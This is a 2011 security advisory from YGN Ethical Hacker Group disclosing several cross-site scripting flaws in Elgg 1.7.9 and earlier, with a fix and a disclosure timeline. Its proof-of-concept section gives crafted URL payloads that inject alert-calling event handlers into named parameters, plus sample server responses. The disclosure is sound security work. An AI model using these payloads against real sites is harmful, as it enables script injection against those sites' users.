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CVE Request: Elgg 1.7.9 <= | Multiple Cross Site Scripting Vulnerabilities
From: YGN Ethical Hacker Group <lists () yehg net>
Date: Sat, 30 Jul 2011 22:44:41 +0800

Elgg 1.7.9 <= | Multiple Cross Site Scripting Vulnerabilities



1. OVERVIEW

The Elgg 1.7.9 and lower versions are vulnerable to multiple Cross
Site Scripting.


2. BACKGROUND

Elgg is an award-winning social networking engine, delivering the
building blocks that enable businesses, schools, universities and
associations to create their own fully-featured social networks and
applications. Well-known Organizations with networks powered by Elgg
include: Australian Government, British Government, Federal Canadian
Government, MITRE, The World Bank, UNESCO, NASA, Stanford University,
Johns Hopkins University and more (http://elgg.org/powering.php)


3. VULNERABILITY DESCRIPTION

Several parameters (page_owner, content,internalname, QUERY_STRING)
are not properly sanitized, which allows attacker to conduct Cross
Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.


4. VERSIONS AFFECTED

Elgg 1.7.9 <=


5. PROOF-OF-CONCEPT/EXPLOIT


XSS (Browser All)

N.B. User login is required to execute.

vulnerable parameters: page_owner, content,internalname, QUERY_STRING
______________________________________________________________________________________________

REQUEST:

http://localhost/elgg/mod/file/search.php?subtype=file&page_owner=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f

http://localhost/elgg/mod/riverdashboard/?content=%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22%20onmouseover%3d%22alert%28/XSS/%29%22%20x=%22f&callback=true

http://localhost/elgg/pg/embed/upload?internalname=%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22

http://localhost/elgg/pg/pages/edit/%22%20onmouseover%3d%22alert%28%27XSS%27%29%22%20style%3d%22position:fixed;width:1000px;height:1000px;display:block;left:0;top:0%22


XSS (Exploitable in Older versions of Browsers - IE/FF)
vulnerable parameters: send_to,container_guid
=========================================================

REQUEST:

http://localhost/elgg/pg/messages/compose/?send_to=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22s


Portion of RESPONSE:

<input type="hidden" name="send_to" value=""
style="background-image:url(javascript:alert(/XSS/))" x="s" />


REQUEST:

http://localhost/elgg/pg/pages/new/?container_guid=%22%20style%3d%22background-image%3aurl%28javascript:alert%28/XSS/%29%29%22%20x=%22


Portion of RESPONSE:

<input type="hidden" name="container_guid" value=""
style="background-image:url(javascript:alert(/XSS/))" x="s" />



6. SOLUTION

Upgrade to 1.7.10 or higher.


7. VENDOR

Curverider Ltd
http://www.curverider.co.uk/
http://elgg.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-06-09: vulnerability reported
2011-06-14: vendor released fixed version
2011-07-30: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[elgg_179]_cross_site_scripting
Project Home: http://elgg.org/
XSS (owasp): http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
CWE-79: http://cwe.mitre.org/data/definitions/79.html


#yehg [2011-07-30]


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YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
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